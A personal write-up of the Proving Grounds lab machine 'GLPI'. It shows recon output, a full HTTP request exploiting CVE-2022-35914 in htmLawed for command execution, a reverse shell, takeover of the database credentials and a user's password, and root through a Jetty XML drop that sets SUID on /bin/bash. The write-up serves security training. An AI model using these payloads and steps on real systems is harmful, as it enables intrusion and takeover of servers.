thumbnail
Proving Grounds : GLPI
proving_grounds / pentest / ENG
2024.08.25.

1. Machine Info

GLPI is a very-hard community rated Proving Grounds Machine. PG’s rating is easy, but no way that this machine is easy or even OSCP-niveau.

But still, as a fresh start with PG, I decided to dig in more to this machine.

As always, let’s dive into the machine!

2. Recon

Starting with nmap scan:

┌──(hosan㉿kali)-[~/pg/glpi]
└─$ sudo nmap 192.168.231.242 -T4 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-31 14:17 EDT
Stats: 0:01:47 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 91.88% done; ETC: 14:19 (0:00:10 remaining)
Nmap scan report for 192.168.231.242
Host is up (0.043s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 113.88 seconds

Digging in to port 80

┌──(hosan㉿kali)-[~]
└─$ sudo nmap 192.168.152.242 -p80 -A -sC -sV       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-31 14:50 EDT
Nmap scan report for 192.168.152.242
Host is up (0.041s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Authentication - GLPI
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 4 hops

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   45.01 ms 192.168.45.1
2   45.01 ms 192.168.45.254
3   45.02 ms 192.168.251.1
4   45.04 ms 192.168.152.242

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.05 seconds

There is nothing valuable we can find here. Let’s move on to webapp enumeration.

2. Initial Foothold

There is a http webapp. By visiting the site:

glpi-1

Maybe we should start subdirectory enumeration.

┌──(hosan㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://192.168.152.242/FUZZ -fs 280

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.152.242/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 280
________________________________________________

js                      [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 165ms]
plugins                 [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 166ms]
css                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 166ms]
templates               [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 172ms]
install                 [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 172ms]
bin                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 185ms]
files                   [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 62ms]
ajax                    [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 63ms]
config                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 50ms]
inc                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 44ms]
lib                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 47ms]
public                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 42ms]
pics                    [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 39ms]
.                       [Status: 200, Size: 9033, Words: 2913, Lines: 225, Duration: 58ms]
src                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 44ms]
sound                   [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 49ms]
vendor                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 64ms]

There are some interesting outputs. Let’s start with /files directory

glpi-2

We should just play around for a while. Then, I found under _cache:

glpi-2

So we can clearly argue that we have glpi version 10.0.2.

I immediately started to google for cve. Then I found this Github Repo.

https://github.com/0xGabe/CVE-2022-35914

Apparently, there exists RCE vector. But we need htmlLawedTest.php. Visiting the /vedor folder which we should have to execute cve:

glpi-3

Here is the tricky part. I couldn’t get RCE even if I tried to use the CVE above.

I thought this might be rabbit hole, but there was absolutely no vector except this one. So I started to download the php file and look into the source code.

Then, I realized that I have to modify CVE manually, because clearly the execution logic was slightly different.

BUT THIS IS FAR BEYOND FROM OSCP

So, I used a resource from internet:

https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/

The logic behind this manual exploit is following:

# reference reminder of htmLawed's original hook function call
$C['hook']($t, $C, $S);

# translated to our situation
array_map('call_user_func', $C, $S);

# contents of our arrays parsed from the POST req payload
$C = ['array_map', 'system'];
$S = [null, 'cat /etc/passwd'];

  # first iteration of array_map
  call_user_func('array_map', null);

    # output; note that this is a warning, not an error, thus will not halt execution
    PHP Warning:  Uncaught ArgumentCountError: array_map() expects at least 2 arguments, 1 given

  # second iteration of array_map
  call_user_func('system', 'cat /etc/passwd');

    # output (RCE!)
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    ...

I used following payload at the end:

POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: 192.168.200.242
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 804
Origin: http://192.168.200.242
Connection: close
Referer: http://192.168.200.242/vendor/htmlawed/htmlawed/htmLawedTest.php
Cookie: glpi_8ac3914e6055f1dc4d1023c9bbf5ce82=i6ou75hltjpuhvmsqs40bqoe36; sid=foo
Upgrade-Insecure-Requests: 1

text=call_user_func&hhook=array_map&hfoo=system&spec[0]=&spec[1]=cat+/etc/passwd&sid=foo

Then I got the RCE and also the revshell.

3. PrivEsc to user.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.210] from (UNKNOWN) [192.168.200.242] 51038
sh: 0: can't access tty; job control turned off
$ bash -i
bash: cannot set terminal process group (1102): Inappropriate ioctl for device
bash: no job control in this shell
www-data@glpi:/var/www/glpi/vendor/htmlawed/htmlawed$ 

I ran my linpeas.sh, and found following config data:

$ cat config_db.php
<?php
class DB extends DBmysql {
   public $dbhost = 'localhost';
   public $dbuser = 'glpi';
   public $dbpassword = 'glpi_db_password';
   public $dbdefault = 'glpi';
   public $use_utf8mb4 = true;
   public $allow_myisam = false;
   public $allow_datetime = false;
   public $allow_signed_keys = false;
}

So I could login to mysql, and found user betty.

7       betty   $2y$10$jG8/feTYsguxsnBqRG6.judCDSNHY4it8SgBTAHig9pMkfmMl9CFa 

We can also try to decrypt the hash with hashcat, but Since we have update permission, We can

  1. Encrypt our new password with the same format above
  2. And update the DB
XXX = $2a$10$78dZ08Q8LotnMJ8Dl1uutON6/R.L6KNXPbWhAnRr66tnGGi3V3d/.

update glpi_users SET password = '$2y$10$Kq6wuIrbcED3xBHQSTp2W.845KRt5vDRrcka9cDufnDF1EKpsQ/PO' where username ='betty';

I couldn’t use SSH with this new credential. But maybe, we can login to the website from (1)!

glpi-5

Finally, we can ssh into the machine as user betty!

4. PrivEsc to root.

Even if the first part was extremly hard, privesc to root wasn’t also easy.

After running linpeas once more, I found a suspicious folder under /opt

$ cd /opt
$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Jan 25  2023 .
drwxr-xr-x 19 root root 4096 Jan 24  2023 ..
drwxr-xr-x  7 root root 4096 Jan 25  2023 jetty
$ cd jetty
$ ls
bin  etc  jetty-base  lib  LICENSE.txt  modules  NOTICE.txt  README.adoc  start.jar  VERSION.txt

Another webserver is running by server, and it is using jetty. And user betty has full access to this app and folder.

After searching for a while for any privesc vector, I found this image from the internet:

glpi-6

We have kind-of xml injection here. So I basically injected revshell execution code, then got revshell as root.

$ ls
bin  etc  jetty-base  lib  LICENSE.txt  modules  NOTICE.txt  README.adoc  start.jar  VERSION.txt
$ cd jetty-base
$ ls
jetty.state  resources  start.d  webapps
$ cd webapps
$ echo "chmod +s /bin/bash" > /tmp/root.sh
$ chmod +x /tmp/root.sh
$ nano rooted.xml

<xml...>....revshell command! </xml>

That’s pretty much it, but I had to google a LOT and tried SO MANY rabbit holes before I found this one…

5. Review

Definitely not an easy machine, it is tended to be very hard (as community rated it) and if it was a HTB machine, maybe medium->hard machine.

But I enjoyed the journey through this machine and learned couple of things! (I wouldn’t recommend to do this machine for OSCP though…)


7. Source

  • Proving Grounds
  • Me!